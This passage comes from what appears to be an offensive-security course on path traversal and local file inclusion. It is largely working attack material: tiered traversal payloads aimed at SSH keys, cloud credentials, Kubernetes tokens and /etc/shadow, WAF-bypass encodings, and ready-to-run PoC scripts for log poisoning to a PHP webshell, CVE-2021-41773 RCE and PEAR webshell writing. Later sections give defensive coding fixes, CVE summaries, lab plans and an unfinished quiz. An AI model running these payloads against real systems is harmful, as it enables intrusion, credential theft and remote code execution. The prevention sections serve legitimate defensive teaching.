The JWT token enables direct API server calls with the pod's RBAC permissions.

26. Read application secrets

text
?file=../../../var/www/html/.env
?file=../../../var/www/html/wp-config.php
?file=../../../etc/nginx/nginx.conf
?file=../../../etc/apache2/sites-enabled/000-default.conf
?file=../../../root/.ssh/id_rsa
?file=../../../home/ubuntu/.aws/credentials
?file=../../../home/ubuntu/.docker/config.json

27. Read Java application files

text
?file=/opt/tomcat/conf/server.xml
?file=/opt/tomcat/webapps/ROOT/WEB-INF/web.xml
?file=/opt/tomcat/conf/tomcat-users.xml

28. Read .NET application files

text
?file=C:/inetpub/wwwroot/web.config
?file=C:/Windows/Microsoft.NET/Framework/v4.0.30319/Config/machine.config

29. Read cloud function source

text
?file=/var/task/index.js             (AWS Lambda)
?file=/workspace/main.py              (GCP Cloud Function)

30. WAF bypass: split keywords

Some WAFs match `../` literal but accept whitespace, mixed case, or alternate encodings:

text
.. /etc/passwd            (space inserted)
....///etc/passwd          (extra slash)
%2E%2E%2F                  (uppercase encoding)
%2e%2e\                    (encoded dot + raw backslash)

These 30 techniques are the modern Path Traversal + LFI hunter's toolkit. Memorize them. Combine them.

SECTION 12. Proof of Concept

Burp Suite

  • 1. Capture the file-handling request, send to Repeater.
  • 2. Replace the file parameter with `../../../etc/passwd`.
  • 3. Send; observe response.
  • 4. If response contains `root:x:0:0:`, confirm traversal.
  • 5. Try absolute path, encoding bypasses, php filter, log poison.

Python detection script

python
import requests
from urllib.parse import quote

TARGET = "https://target.anastech.com/download.php"
PROBES = [
    "../../../etc/passwd",
    "../../../../etc/passwd",
    "../../../../../etc/passwd",
    "....//....//....//etc/passwd",
    "..%2f..%2f..%2fetc%2fpasswd",
    "..%252f..%252f..%252fetc%252fpasswd",
    "..%c0%af..%c0%af..%c0%afetc%c0%afpasswd",
    "/etc/passwd",
    "../../../etc/passwd%00.png",
    "..;/..;/..;/etc/passwd",
]
for probe in PROBES:
    r = requests.get(TARGET, params={"file": probe}, verify=False, timeout=10)
    if "root:x:0:0:" in r.text:
        print(f"[+] TRAVERSAL CONFIRMED with: {probe}")
        print(r.text[:300])
        break

Python LFI source disclosure PoC

python
import requests, base64

TARGET = "https://target.anastech.com/index.php"
PAYLOAD = "php://filter/convert.base64-encode/resource=../../config/database"
r = requests.get(TARGET, params={"page": PAYLOAD}, verify=False, timeout=10)
try:
    print(base64.b64decode(r.text).decode())
except Exception:
    print(r.text[:500])

Python log poisoning to RCE PoC

python
import requests

BASE = "https://target.anastech.com"
LFI_PARAM = "page"
LOG_PATH = "../../../var/log/apache2/access.log"
SHELL = "<?php system($_GET['cmd']); ?>"

# Step 1: poison the access log via User-Agent
requests.get(BASE, headers={"User-Agent": SHELL}, verify=False)

# Step 2: include the log with a command
r = requests.get(f"{BASE}/index.php",
                 params={LFI_PARAM: LOG_PATH, "cmd": "id"},
                 verify=False, timeout=10)
print(r.text[-2000:])

Bash PoCs

bash
# Basic detection
curl -sk "https://target/download.php?file=../../../etc/passwd"

# Encoding bypass
curl -sk "https://target/download.php?file=..%2f..%2f..%2fetc%2fpasswd"

# Double encoding (superfluous decode bypass)
curl -sk "https://target/download.php?file=..%252f..%252f..%252fetc%252fpasswd"

# LFI source disclosure
curl -sk "https://target/index.php?page=php://filter/convert.base64-encode/resource=../../config/database" | base64 -d

# Log poisoning
curl -sk -A "<?php system(\$_GET['cmd']); ?>" "https://target/"
curl -sk "https://target/index.php?page=../../../var/log/apache2/access.log&cmd=id"

# Apache 2.4.49 mass-exploit pattern (CVE-2021-41773)
curl -sk --path-as-is "https://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"

# CVE-2021-41773 RCE
curl -sk --path-as-is -d "echo Content-Type: text/plain; echo; id" "https://target/cgi-bin/.%2e/.%2e/.%2e/bin/sh"

PowerShell PoC

powershell
$target = "https://target.anastech.com/download.php"
$payload = "../../../etc/passwd"
$response = Invoke-WebRequest -Uri "$target`?file=$payload" -SkipCertificateCheck
if ($response.Content -match "root:x:0:0:") {
    Write-Host "[+] Path Traversal confirmed"
}

Node.js PoC

javascript
const axios = require('axios');
const TARGET = 'https://target.anastech.com/download.php';
const PROBES = [
  '../../../etc/passwd',
  '../../../../etc/passwd',
  '....//....//....//etc/passwd',
  '..%2f..%2f..%2fetc%2fpasswd',
];
(async () => {
  for (const probe of PROBES) {
    const r = await axios.get(TARGET, { params: { file: probe } });
    if (r.data.includes('root:x:0:0:')) {
      console.log(`[+] CONFIRMED with: ${probe}`);
      break;
    }
  }
})();

Synacktiv PHP filter chain to RCE PoC

bash
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`;;?>'
# Take the printed chain and use it:
curl -sk "https://target.anastech.com/index.php?page=php://filter/<CHAIN>/resource=/etc/passwd&0=id"
# If no readable path exists, use php://temp:
curl -sk "https://target.anastech.com/index.php?page=php://filter/<CHAIN>/resource=php://temp&0=id"

PortSwigger lab solutions reference

  • Apprentice: File path traversal, simple case -- `?filename=../../../etc/passwd`
  • Practitioner: Traversal sequences blocked, absolute path bypass -- `?filename=/etc/passwd`
  • Practitioner: Traversal sequences stripped non-recursively -- `?filename=....//....//....//etc/passwd`
  • Practitioner: Traversal sequences stripped with superfluous URL-decode -- `?filename=..%252f..%252f..%252fetc%252fpasswd`
  • Practitioner: Validation of start of path -- `?filename=/var/www/images/../../../etc/passwd`
  • Practitioner: Validation of file extension with null byte bypass -- `?filename=../../../etc/passwd%00.png`

These six payloads are the canonical Apprentice/Practitioner answer key.

SECTION 13. Payloads

Tier 1: basic traversal

text
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd

Tier 2: URL-encoded variants

text
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Tier 3: non-recursive strip bypass

text
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
..../.../..../etc/passwd
..//..//..//etc/passwd
..//..//..//etc//passwd
.....///....//etc/passwd

Tier 4: UTF-8 overlong / Unicode

text
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
..%e0%80%af..%e0%80%af..%e0%80%afetc%e0%80%afpasswd
..%uff0e%uff0e%u2215..%uff0e%uff0e%u2215..etcpasswd

Tier 5: Windows variants

text
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
c:\windows\win.ini
c:\boot.ini
c:\inetpub\wwwroot\web.config
c:/windows/win.ini
\\localhost\c$\windows\win.ini
\\127.0.0.1\C$\boot.ini

Tier 6: null byte (legacy)

text
../../../etc/passwd%00
../../../etc/passwd%00.png
../../../etc/passwd%00.jpg

Tier 7: semicolon bypass (Java / Tomcat)

text
..;/..;/..;/etc/passwd
..;/..;/..;/sensitive.txt

Tier 8: absolute-path bypass

text
/etc/passwd
/etc/shadow
/var/www/html/config.php
/var/log/apache2/access.log
file:///etc/passwd

Tier 9: Spring CVE-2018-1271

text
/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

Tier 10: Apache CVE-2021-41773 / CVE-2021-42013

text
/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
/icons/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

Tier 11: LFI -- PHP filter wrappers

text
php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=../../config/database
php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=index.php

Tier 12: LFI -- input / data wrappers

text
php://input                                    (POST body becomes PHP code)
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

Tier 13: LFI -- expect / zip / phar

text
expect://id
expect://whoami
zip://uploads/avatar.zip#shell.php
phar://uploads/avatar.phar/shell.php

Tier 14: log poisoning paths

text
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
/var/log/auth.log

Tier 15: /proc pseudo-files

text
/proc/self/environ
/proc/self/cmdline
/proc/self/status
/proc/self/fd/0
/proc/self/cwd/index.php
/proc/version
/proc/net/tcp

Tier 16: PHP session files

text
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php/session/sess_PHPSESSID
/tmp/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID

Tier 17: PEAR / PECL RCE

text
/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=system($_GET['cmd']);?>+/tmp/webshell.php

Tier 18: cloud metadata via LFI/SSRF

text
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/instance/

Tier 19: high-value Linux files

text
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/mysql/my.cnf
/etc/ssh/sshd_config
/etc/crontab
/etc/sudoers
/home/$USER/.ssh/id_rsa
/home/$USER/.ssh/authorized_keys
/home/$USER/.aws/credentials
/home/$USER/.docker/config.json
/root/.ssh/id_rsa
/root/.bash_history
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/var/lib/mlocate/mlocate.db

Tier 20: high-value Windows files

text
c:\windows\system32\license.rtf       (always present, good test)
c:\windows\system32\eula.txt          (always present)
c:\windows\win.ini
c:\boot.ini
c:\inetpub\logs\logfiles
c:\inetpub\wwwroot\web.config
c:\sysprep.inf
c:\unattend.xml
c:\windows\repair\sam
c:\windows\repair\system
c:\windows\system32\drivers\etc\hosts

Tier 21: app-specific files

text
.env
.env.local
.git/config
.git/HEAD
config.php
config.json
config.yml
parameters.yml
settings.py
local_settings.py
wp-config.php
configuration.php
database.yml
secrets.yml
application.properties
appsettings.json

The payload is the path. The attack is whichever file matters.

SECTION 14. Wordlists and Payload Libraries

Practical advice

  • Keep a personal Linux/Windows file list of 30 high-impact targets ready (`/etc/passwd`, `.env`, `id_rsa`, `wp-config.php`, `application.properties`, `web.config`, AWS creds, K8s token).
  • Have a ready-to-paste python_filter_chain payload for the moment you find LFI.
  • Save a `User-Agent` log-poison string ready for one-liner log RCE: `<?php system($_GET['c']); ?>`
  • Maintain a separate folder of WAF-bypass encodings for fast iteration.

SECTION 15. Impact

Impact ladder, low to high:

Step 1: file disclosure

Read `/etc/passwd`, `/etc/hostname`, `/etc/issue`, `/proc/version`. Confirms the bug; sets the stage.

Step 2: secret extraction

Read `.env`, `wp-config.php`, `application.properties`, `web.config`, `appsettings.json`, `.aws/credentials`, `id_rsa`. Database passwords, API tokens, SSH keys leak in seconds.

Step 3: source code disclosure

Via `php://filter/convert.base64-encode/resource=`. Reveals additional bugs, hardcoded secrets, business logic.

Step 4: SSH key theft

`/home/USER/.ssh/id_rsa` -- direct lateral movement to the host as that user.

Step 5: Kubernetes service account token theft

`/run/secrets/kubernetes.io/serviceaccount/token` -- direct API server access with pod RBAC.

Step 6: cloud metadata theft (LFI/SSRF chain)

AWS / GCP / Azure metadata IPs -- temporary IAM credentials, full cloud API access.

Step 7: log poisoning to RCE

Apache/Nginx logs + `include()` evaluating PHP from User-Agent. Unauthenticated RCE.

Step 8: Synacktiv filter chain RCE

Universal LFI to RCE without uploads or special config. Works on most modern PHP.

Step 9: PEAR/PECL command injection

Writable webshell at `/tmp/webshell.php` for persistence.

Step 10: persistence via uploaded webshell

Survives application restarts; harder to detect than payload-on-each-request.

Step 11: lateral movement

Stolen SSH keys, IAM credentials, K8s tokens move into other accounts, VPCs, services.

Step 12: data destruction

After RCE, the attacker can wipe logs, modify databases, delete records.

Step 13: regulatory and contractual fallout

GDPR, HIPAA, PCI DSS, SOX violations on every data-exposure path.

Step 14: reputational damage

Public CVEs in widely-deployed software (Apache 2.4.49, Citrix CVE-2019-19781) trigger customer churn and contract renegotiation.

Step 15: long-tail cost

Forensic investigation, audits, mandatory remediation cycles, insurance premium spikes.

SECTION 16. Prevention

Path Traversal has a clean, well-known fix per language. Apply all of these together for defense in depth.

The four rules that cover almost everything

  • 1. Strip directory components from user input (`basename()` / equivalent).
  • 2. Resolve the user-supplied path against the intended base directory using a canonicalizer (`realpath()` / `Path.normalize()` / `os.path.realpath()`).
  • 3. Verify the resolved canonical path still starts with the intended base directory.
  • 4. Apply a strict allowlist of expected filenames when feasible; otherwise indirect IDs.

Vulnerable vs safe (PHP)

Vulnerable:

php
<?php
$file = $_GET['file'];
include("/var/www/pages/" . $file);
?>

Safe:

php
<?php
$base = "/var/www/pages/";
$allowed = ['home.php', 'about.php', 'contact.php'];
$file = basename($_GET['file']);
if (!in_array($file, $allowed, true)) {
    http_response_code(400);
    exit('Invalid file');
}
include($base . $file);
?>

Plus PHP configuration:

ini
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/pages/

Vulnerable vs safe (Python)

Safe pattern with canonical-path validation:

python
import os

BASE_DIR = "/var/www/files"

def safe_open(user_path):
    requested = os.path.realpath(os.path.join(BASE_DIR, user_path))
    base = os.path.realpath(BASE_DIR)
    if not (requested == base or requested.startswith(base + os.sep)):
        raise ValueError("path traversal attempt detected")
    return open(requested, "rb")

`os.path.realpath` resolves all `..`, symlinks, and encodings to the absolute canonical path.

Vulnerable vs safe (Node.js)

Safe:

javascript
const path = require('path');
const fs = require('fs');

const BASE_DIR = path.resolve('/var/www/files');

app.get('/file', (req, res) => {
  const requested = path.resolve(BASE_DIR, req.query.name);
  if (!requested.startsWith(BASE_DIR + path.sep)) {
    return res.status(400).send('invalid');
  }
  fs.readFile(requested, (err, data) => {
    if (err) return res.status(404).send('not found');
    res.send(data);
  });
});

Or use Express `res.sendFile` with the `root` option:

javascript
res.sendFile(req.query.name, { root: '/var/www/files' });

`sendFile` with `root` rejects paths that escape the base.

Vulnerable vs safe (Java)

java
import java.nio.file.*;

Path baseDir = Paths.get("/var/www/files").toAbsolutePath().normalize();
Path requested = baseDir.resolve(name).toAbsolutePath().normalize();
if (!requested.startsWith(baseDir)) {
    throw new SecurityException("path traversal detected");
}

Vulnerable vs safe (.NET)

csharp
var basePath = Path.GetFullPath("C:\\inetpub\\files");
var requested = Path.GetFullPath(Path.Combine(basePath, name));
if (!requested.StartsWith(basePath + Path.DirectorySeparatorChar, StringComparison.Ordinal)) {
    return BadRequest();
}
return PhysicalFile(requested, "application/octet-stream");

Vulnerable vs safe (Go)

go
import "path/filepath"

base, _ := filepath.Abs("/var/www/files")
rel := filepath.Clean(name)
full := filepath.Join(base, rel)
absFull, _ := filepath.Abs(full)
if !strings.HasPrefix(absFull, base + string(filepath.Separator)) {
    http.Error(w, "invalid", http.StatusBadRequest)
    return
}
http.ServeFile(w, r, absFull)

Pattern: indirect references

Replace user-controllable filenames with opaque IDs:

text
Vulnerable:  /download?file=invoice-4172.pdf
Secure:      /download?id=a7f2b9c1

Server-side: map `a7f2b9c1` to the real path. The attacker never sees or controls the actual filename, and the lookup table only contains the legitimate files.

Disable dangerous PHP options globally

ini
allow_url_include = Off
allow_url_fopen = Off
expose_php = Off
open_basedir = /var/www

This eliminates `php://input`, `data://`, `expect://`, and any remote URL inclusion.

Developer checklist

  • Every file-system call accepts only sanitized input.
  • `basename()` / `Path.Combine().Clean()` applied before use.
  • Canonical path verified to start with the intended base.
  • Allowlist of expected filenames enforced.
  • Indirect IDs used where possible.
  • PHP: `allow_url_include` and `allow_url_fopen` disabled when not needed.
  • PHP: `open_basedir` set in php.ini.
  • Web server runs as unprivileged user with no access to /etc/passwd, /etc/shadow, secrets directories.
  • Log files are outside any web-included directory.
  • `/etc/passwd`, `/etc/shadow`, `/proc`, `/home`, `/run/secrets` are not readable by the web user where possible.
  • CI scans for sink patterns (Semgrep, CodeQL rules).
  • Security review on every file-handling endpoint.

Enterprise-level mitigations

  • Run PHP-FPM (and equivalent) as a non-privileged user with no access to sensitive directories.
  • AppArmor or SELinux policies restricting filesystem access.
  • Containerize the application with read-only volumes for the codebase.
  • WAF rules for known traversal patterns (defense in depth, never primary).
  • Bug bounty programs scoped to include traversal and LFI explicitly.
  • Continuous monitoring of access to `/etc/passwd`, `/etc/shadow`, log files, SSH key paths.
  • SAST rules that flag default `include`, `require`, `fs.readFile`, `send_file` with user input.
  • Block egress to `169.254.169.254` from application user contexts (LFI/SSRF chain mitigation).

SECTION 17. Real-World Cases

CVE library (with URLs)

  • CVE-2021-41773 (Apache HTTP Server 2.4.49 path traversal, CVSS 9.8)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-41773 Summary: path normalization flaw in 2.4.49 allowed `.%2e/` traversal outside the document root. Mass-exploited within 24 hours of disclosure. On hosts with `mod_cgi` enabled, chained to unauthenticated RCE.

  • CVE-2021-42013 (Apache HTTP Server 2.4.50 incomplete patch)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-42013 Summary: the patch for CVE-2021-41773 was incomplete. Variant payload `.%%32%65/` still escaped.

  • CVE-2019-19781 (Citrix ADC / Gateway pre-auth traversal to RCE)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-19781 Summary: unauthenticated path traversal in Citrix ADC/Gateway. Chained to RCE via VPN handler files. Affected tens of thousands of enterprise deployments. Used by APT groups within weeks.

  • CVE-2018-1271 (Spring MVC directory traversal)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-1271 Summary: double-URL-encoded backslashes traversed out of static resource folders when serving from a Windows filesystem. Spring 5.0 to 5.0.4 affected.

  • CVE-2024-21896 (Node.js Buffer monkey-patch path traversal escape)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-21896 Summary: Node.js permission model bypass via monkey-patching Buffer. Allowed traversal escape from the experimental permission sandbox.

  • CVE-2025-27210 (Node.js Windows UNC path traversal)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-27210 Summary: improper handling of UNC-style paths on Windows allowed traversal escape from intended directories.

  • CVE-2023-27534 (curl SFTP path traversal)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-27534 Summary: SFTP path handling allowed traversal outside expected directories.

  • CVE-2019-3398 (Confluence Widget Connector traversal to RCE)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-3398 Summary: authenticated traversal in `/page/createpage-entervariables.action` allowed writing files to arbitrary locations, chaining to RCE. Mass-exploited.

  • CVE-2019-11510 (Pulse Secure pre-auth file read)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-11510 Summary: arbitrary file read in Pulse Secure SSL VPN. Read session caches and credentials. Catastrophic mass-exploitation in 2019-2020.

  • CVE-2017-5638 (Apache Struts -- Equifax root cause)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2017-5638 Summary: although primarily OGNL, the exploit chain traversed and read sensitive files as part of the takeover. Cost: $700M+ in Equifax settlements.

Recent disclosed HackerOne reports

  • Internet Bug Bounty -- Apache 2.4.49 path traversal, paid $4,000.

Report: https://hackerone.com/reports/1394916 Lesson: critical CVE-level traversal payouts on the Internet Bug Bounty program.

  • GitLab -- Nuget package traversal, paid $12,000.

Report: https://hackerone.com/reports/733072 Lesson: package-management endpoints often have traversal in package-name handling.

  • Aiven -- Grafana 8.x path traversal, paid $1,000.

Listed in https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPFILEREADING.md Lesson: data-visualization platforms with file-import features are recurring traversal surfaces.

  • Slack -- Unauthenticated LFI, 122 upvotes corpus entry.

Lesson: even mature messaging platforms ship LFI on auxiliary endpoints.

  • WordPress -- `unzip_file` traversal, 119 upvotes corpus entry.

Lesson: archive-extraction routines without zip-slip protection produce traversal at scale.

  • Lichess (Lila) -- traversal disclosure, 114 upvotes corpus entry.

Lesson: open-source platforms catch traversal in bounty programs; review every file-name parameter.

  • Semmle / GitHub Security Lab -- worker container LFI, paid $2,000.

Lesson: build-system workers that load configurations from user-controlled paths are LFI candidates.

  • TikTok -- Lynxview deeplink traversal, 103 upvotes corpus entry.

Lesson: hybrid mobile webview features have traversal in URL-handling parameters.

  • Internet Bug Bounty -- Node.js Uint8Array path bypass, paid $3,495.

Lesson: Node.js core itself ships traversal in low-level path-handling helpers.

  • Internet Bug Bounty -- Node.js permission model bypass, paid $2,330.

Lesson: experimental sandboxes have bypasses; treat permission-model code as bypass research surface.

  • Mail.ru -- esk-static traversal, paid $1,500.

Lesson: static-asset routers in legacy frameworks ship traversal.

  • U.S. Dept of Defense -- multiple traversal disclosures, including HackerOne reports 497771, 2778380, 1888808.

Lesson: government VDP programs accept and triage traversal at all severity levels.

  • Starbucks Korea -- traversal, report 780021.
  • GSA -- traversal, report 895972.

Curated corpora

Synacktiv research wave (2022-2026)

The Synacktiv team discovered that PHP's `php://filter` wrapper, when chained with iconv conversions, can transform arbitrary input into base64-encoded PHP code. This turns any LFI of a user-controlled string into RCE without needing file upload, wrappers like `data://`, or `allow_url_include`. The technique remains effective in 2026.

Lessons learned

  • Path Traversal and LFI ship at every scale, from network appliances (Citrix, Pulse Secure) to top SaaS to Node.js core itself.
  • The 30-year-old `../` payload still works on modern code in 2026.
  • The Synacktiv filter chain technique turns read-only LFI into universal RCE.
  • Most enterprise traversal CVEs reach mass exploitation within 48 hours.
  • Bug bounty payouts range from $1,000 (basic traversal) to $50,000+ (LFI to RCE on major platforms).
  • The fix is universally the same: canonical path resolution plus allowlist or indirect IDs.

SECTION 18. References

Standards and authoritative docs

Learning resources

Tools

CVE/advisory feeds

SECTION 19. Practical Labs

Planned ANAS Path Traversal / LFI Labs (SOON)

  • ANAS-PT-01 -- AnasDocs Simple Invoice Download Traversal, beginner
  • ANAS-PT-02 -- AnasMarket Absolute Path Bypass, beginner
  • ANAS-PT-03 -- AnasOne Non-Recursive Strip Bypass with `....//`, beginner-intermediate
  • ANAS-PT-04 -- AnasCorp Superfluous URL-Decode (Double Encoding), intermediate
  • ANAS-PT-05 -- AnasDocs Start-of-Path Validation Bypass, intermediate
  • ANAS-PT-06 -- AnasTech Legacy Null-Byte Extension Bypass, intermediate
  • ANAS-PT-07 -- AnasOne Tomcat/Spring Semicolon Bypass, intermediate
  • ANAS-PT-08 -- AnasOne LFI Source Disclosure via php://filter, intermediate
  • ANAS-PT-09 -- AnasOne LFI to RCE via data:// and php://input, advanced
  • ANAS-PT-10 -- AnasMarket Log Poisoning (Apache + Nginx), advanced
  • ANAS-PT-11 -- AnasOne /proc/self/environ Poisoning, advanced
  • ANAS-PT-12 -- AnasOne PHP Session File Inclusion, advanced
  • ANAS-PT-13 -- AnasOne Synacktiv Filter Chain Universal RCE, expert
  • ANAS-PT-14 -- AnasOne PEAR/PECL Command Injection, expert
  • ANAS-PT-15 -- AnasCorp Apache CVE-2021-41773 Reproduction + RCE, expert
  • ANAS-PT-16 -- AnasMarket Windows UNC Path Traversal, advanced
  • ANAS-PT-17 -- AnasOne K8s Service-Account Token Theft via LFI, expert
  • ANAS-PT-18 -- AnasCorp Cloud Metadata Exfiltration via LFI/SSRF Chain, expert

PortSwigger Web Security Academy labs

Self-hosted lab targets

Lab progression suggestion

  • Week 1: PortSwigger Apprentice + Practitioner labs + ANAS-PT-01/02/03 + sections 1-8.
  • Week 2: PortSwigger remaining labs + ANAS-PT-04 to 07 + read disclosed bounty reports in section 17.
  • Week 3: ANAS-PT-08/09/10 + reproduce log poisoning locally on a DVWA install.
  • Week 4: ANAS-PT-11 to 14 + practice Synacktiv filter chain on a controlled target.
  • Week 5: ANAS-PT-15 to 18 + start hunting on bounty programs that scope LFI explicitly.

SECTION 20. Cheat Sheet

text
+-----------------------------------------------------------------------+
|    ANAS EDUCATION -- PATH TRAVERSAL + LFI CHEAT SHEET                 |
+-----------------------------------------------------------------------+
|                                                                       |
|  DETECTION                                                            |
|    ?file=../../../etc/passwd                                          |
|    ?file=../../../../etc/passwd                                       |
|    Look for "root:x:0:0:" in the response                             |
|    curl -sk "URL?file=../../../etc/passwd"                            |
|                                                                       |
|  FILTER BYPASSES                                                      |
|    ....//....//....//etc/passwd      (non-recursive strip)            |
|    ..%2f..%2f..%2fetc%2fpasswd       (URL encode)                     |
|    ..%252f..%252f..%252fetc%252fpasswd (double encode)                |
|    ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd (UTF-8 overlong)           |
|    ../../../etc/passwd%00.png        (null byte, legacy)              |
|    /var/www/files/../../../etc/passwd (start-of-path)                 |
|    ..;/..;/..;/etc/passwd            (Tomcat semicolon)               |
|    /etc/passwd                       (absolute bypass)                |
|    ..\..\..\windows\win.ini          (Windows separator)              |
|    \\localhost\c$\windows\win.ini    (UNC path)                       |
|                                                                       |
|  LFI WRAPPERS                                                         |
|    php://filter/convert.base64-encode/resource=index                  |
|    php://input + POST <?php ... ?>                                    |
|    data://text/plain,<?php phpinfo(); ?>                              |
|    expect://id                                                        |
|    zip://upload.zip#shell.php                                         |
|    phar://upload.jpg/shell.php                                        |
|                                                                       |
|  LFI TO RCE                                                           |
|    Log poison + include log                                           |
|    /proc/self/environ poison + include                                |
|    Session file poison + include                                      |
|    Synacktiv PHP filter chain (universal)                             |
|    PEAR/PECL command injection                                        |
|                                                                       |
|  HIGH-VALUE FILES                                                     |
|    Linux: /etc/passwd /etc/shadow /proc/self/environ                  |
|    Logs:  /var/log/apache2/access.log /var/log/nginx/access.log       |
|    Config: /var/www/html/config.php .env application.properties       |
|    Keys: /home/$USER/.ssh/id_rsa .aws/credentials                     |
|    K8s:  /run/secrets/kubernetes.io/serviceaccount/token              |
|    Win:  c:\windows\win.ini c:\inetpub\wwwroot\web.config             |
|                                                                       |
|  CVE LANDMARKS                                                        |
|    CVE-2021-41773 / 42013 (Apache 2.4.49/2.4.50)                      |
|    CVE-2019-19781 (Citrix ADC pre-auth RCE)                           |
|    CVE-2018-1271 (Spring MVC double-encoded backslash)                |
|    CVE-2019-11510 (Pulse Secure pre-auth file read)                   |
|    CVE-2024-21896 / CVE-2025-27210 (Node.js)                          |
|                                                                       |
|  PREVENTION                                                           |
|    basename() user input                                              |
|    realpath() then startsWith(BASE) check                             |
|    Allowlist of filenames                                             |
|    Indirect IDs not raw paths                                         |
|    PHP: allow_url_include=Off, allow_url_fopen=Off, open_basedir set  |
|    Web user no read access to /etc/passwd, secrets, /home             |
|                                                                       |
|  CWE: 22 (traversal), 73 (external control), 98 (LFI)                 |
|  OWASP: A01:2021 Broken Access Control                                |
|                                                                       |
+-----------------------------------------------------------------------+
|                       Go hunt. -- ANAS EDUCATION                      |
+-----------------------------------------------------------------------+

SECTION 21. Exam

Thirty multiple-choice questions. Answer key at the end.

  • 1. The canonical CWE for Path Traversal is:

A) CWE-79 B) CWE-22 C) CWE-89 D) CWE-352

  • 2. The CWE for Local File Inclusion specifically is:

A) CWE-22 B) CWE-98 C) CWE-79 D) CWE-1021

  • 3. Path Traversal allows an attacker to:

A) Crash the server B) Read files outside the intended directory by using `../` C) Inject SQL queries D) Steal cookies

  • 4. The primary difference between Path Traversal and LFI:

A) They are unrelated B) LFI executes the included file as code; Path Traversal only reads C) LFI is older D) Path Traversal works only on Windows

  • 5. A response containing `root:x:0:0:` confirms:

A) SQL injection B) Path Traversal to /etc/passwd C) XSS D) CSRF

  • 6. Which payload bypasses a filter that strips `../` exactly once?

A) `../../../etc/passwd` B) `....//....//....//etc/passwd` C) `/etc/passwd` D) `%2e%2e%2f`

  • 7. Which payload bypasses a filter that URL-decodes input then strips `../`?

A) `../../../etc/passwd` B) `..%252f..%252f..%252fetc%252fpasswd` C) `../../../etc/passwd%00` D) `/etc/passwd`

  • 8. The null-byte bypass (`%00`) works against:

A) PHP 8.x B) PHP < 5.3.4 and similar legacy environments C) All Node.js versions D) Modern Go applications

  • 9. A start-of-path validation that checks input begins with `/var/www/files/` can be bypassed with:

A) `/var/www/files/../../../etc/passwd` B) `?file=evil` C) `etc/passwd` D) Random uppercase

  • 10. Which Windows file is always present and useful as a traversal test?

A) `c:\windows\system32\license.rtf` B) `c:\evil.txt` C) `c:\backdoor.exe` D) `c:\windows\virus.dll`

  • 11. The Apache 2.4.49 vulnerability (CVE-2021-41773) used which encoded sequence?

A) `..\\..\\` B) `.%2e/` C) `%252f` D) `/etc/passwd`

  • 12. Which PHP wrapper reveals source code by base64-encoding read content?

A) `data://` B) `expect://` C) `php://filter/convert.base64-encode/resource=index` D) `phar://`

  • 13. Which PHP wrapper sends a POST body to be evaluated as PHP?

A) `php://input` (with `allow_url_include=On`) B) `php://output` C) `data://` D) `phar://`

  • 14. Which technique poisons a server log file with PHP code then includes the log?

A) SQL injection B) Log poisoning C) XSS D) CSRF

  • 15. A common LFI exploitation target for `/proc`:

A) `/proc/version` B) `/proc/self/environ` (poisoned via User-Agent) C) `/proc/cpuinfo` D) `/proc/meminfo`

  • 16. The Synacktiv PHP filter chain attack:

A) Requires file upload B) Requires `allow_url_include=On` C) Turns any include() of a user-controlled string into RCE without uploads or special config D) Works only on Windows

  • 17. The Tomcat/Spring path-normalization bypass uses:

A) `..%2f` B) `..;/..;/..;/etc/passwd` C) `..\\` D) `data://`

  • 18. The Spring MVC CVE-2018-1271 traversal used:

A) Double-URL-encoded backslashes B) Null bytes C) Semicolons D) NULL parameters

  • 19. To read PHP source code without executing it via LFI you use:

A) `data://text/plain,<?php phpinfo();?>` B) `php://filter/convert.base64-encode/resource=index` C) `expect://id` D) `phar://`

  • 20. The Kubernetes file critical to exfiltrate via LFI:

